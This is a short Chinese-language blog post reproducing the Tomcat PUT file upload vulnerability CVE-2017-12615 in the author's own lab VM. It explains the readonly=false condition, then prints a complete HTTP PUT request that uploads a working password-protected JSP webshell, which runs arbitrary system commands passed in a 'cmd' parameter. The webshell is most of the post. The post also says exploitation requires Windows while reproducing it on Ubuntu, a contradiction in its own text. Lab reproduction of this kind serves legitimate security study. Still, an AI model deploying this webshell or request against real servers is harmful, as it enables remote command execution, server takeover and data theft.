Tomcat任意文件上傳漏洞CVE-2017-12615復現
今天在群里聽到有人講這個CVE-2017-12615漏洞,想起自己的虛機ubuntu里面曾經裝過tomcat,午休時間來瞅瞅。
漏洞利用條件和方式:
CVE-2017-12615漏洞利用需要在Windows環境,且需要將 readonly 初始化參數由默認值設置為 false,經過實際測試,Tomcat 7.x版本內web.xml配置文件內默認配置無readonly參數,需要手工添加,默認配置條件下不受此漏洞影響。
漏洞描述:
當 Tomcat運行在Windows操作系統時,且啟用了HTTP PUT請求方法(例如,將 readonly 初始化參數由默認值設置為 false),攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 文件,JSP文件中的惡意代碼將能被服務器執行。導致服務器上的數據泄露或獲取服務器權限。
漏洞復現
首先運行tomcat環境,startup.sh
修改conf/web.xml文件添加readonly參數,屬性值為false
使用burpsuite發送構造的的webshell
PUT /123.jsp/ HTTP/1.1 Host: 192.168.23.209:8080 User-Agent: JNTASS DNT:1 Connection: close Content-Length: 664 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
漏洞利用就這樣簡單的完成。
任重而道遠!